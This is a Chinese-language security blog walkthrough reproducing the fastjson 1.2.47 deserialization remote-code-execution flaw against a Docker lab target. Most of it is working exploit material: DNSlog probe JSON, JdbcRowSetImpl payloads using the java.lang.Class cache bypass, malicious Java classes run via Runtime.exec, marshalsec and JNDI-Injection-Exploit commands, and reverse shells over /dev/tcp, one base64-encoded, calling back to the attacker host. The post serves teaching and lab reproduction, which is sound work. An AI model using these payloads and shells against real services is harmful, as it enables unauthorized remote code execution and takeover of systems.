fastjson【1247rce】漏洞初探索及复现

admin 2025年3月24日19:52:04评论8 views字数 2721阅读9分4秒阅读模式

前言

使用docker启动靶机

#首先切换到对应的目录下
docker-compose up -d
docker-compose ps
fastjson【1247rce】漏洞初探索及复现

靶机:kali开启使用docker,IP地址为192.168.10.6

攻击机:windows抓包等操作,IP地址为192.168.10.9

java环境已经更换为java8,完全可以模拟真实环境

漏洞发现

首先就是确定是否含有漏洞,这个版本与前面24版本测试条件差不多

还是先把原本的get请求,改成post请求,然后查看返回

fastjson【1247rce】漏洞初探索及复现

测试目标能否出外,借助dnslog

{"test":
{
"@type":"java.net.Inet4Address",
"val":"3jpebi.dnslog.cn"
}
}

//1.2.67版本后payload
{
"@type":"java.net.Inet4Address",
"val":"3jpebi.dnslog.cn"
}

测试发现确实可以成功

fastjson【1247rce】漏洞初探索及复现

漏洞复现

那么现在就尝试借助工具marshalsec-0.0.3-SNAPSHOT-all.jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,这两个都可以在github上下载的

使用第一个工具

首先使用第一个工具进行测试

编写一个java文件,内容如下,包含执行的命令

// javac test.java
import java.lang.Runtime;
import java.lang.Process;

publicclasstest {
static {
try {
Runtimert= Runtime.getRuntime();
            String[] commands = {"touch""/tmp/success"};
Processpc= rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
// do nothing
        }
    }
}

然后通过命令编译java文件为class文件

javac test.java

然后再在windows启动一个rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.9:1234/#test"9999

然后修改抓取的数据包,尝试以24版本的rce漏洞进行测试,发现失败

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.10.9:9999/test",
"autoCommit":true
}
}
fastjson【1247rce】漏洞初探索及复现

可以看到一些参数已经不被支持,所以需要新的,那么有这样的poc

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.10.9:9999/test",
"autoCommit":true
}
}
fastjson【1247rce】漏洞初探索及复现

从图中可以看到完完全全的ok了,那么就可以编译一个可以获取shell的语句

// javac shell.java
import java.lang.Runtime;
import java.lang.Process;

publicclassshell {
static {
try {
Runtimert= Runtime.getRuntime();
            String[] commands = {"bash","-c""exec 5<>/dev/tcp/192.168.10.9/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Processpc= rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
// do nothing
        }
    }
}

然后与上面一样,编译为class文件,然后开启监听,再借助工具开启rmi服务

然后在burp上抓取数据包修改

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.10.9:8888/shell",
"autoCommit":true
}
}
fastjson【1247rce】漏洞初探索及复现

使用第二个工具

这里直接通过下面命令即可开启自动的服务了,当然是在windows

java -jar .JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C"bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTAuOS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"-A192.168.10.9
fastjson【1247rce】漏洞初探索及复现

然后再通过burp抓取数据包,指向提供的rmi服务器。

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.10.9:1099/r2cbto",
"autoCommit":true
}
}

再开启一个监听端口,然后发送burp的数据包,即可发现成功获取shell

fastjson【1247rce】漏洞初探索及复现

总结

该版本对于json的发现以及漏洞的发现,与1.2.24是一样的

对于漏洞的利用方式发生变化,所用的还是一样,只是必须多出一组数据才行

{
//就是这一段a,必要的
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},

"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.10.9:1099/r2cbto",
"autoCommit":true
}
}

原文始发于微信公众号(泷羽sec-何生安全):fastjson【1247--rce】漏洞初探索及复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月24日19:52:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   fastjson【1247rce】漏洞初探索及复现https://cn-sec.com/archives/3875120.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息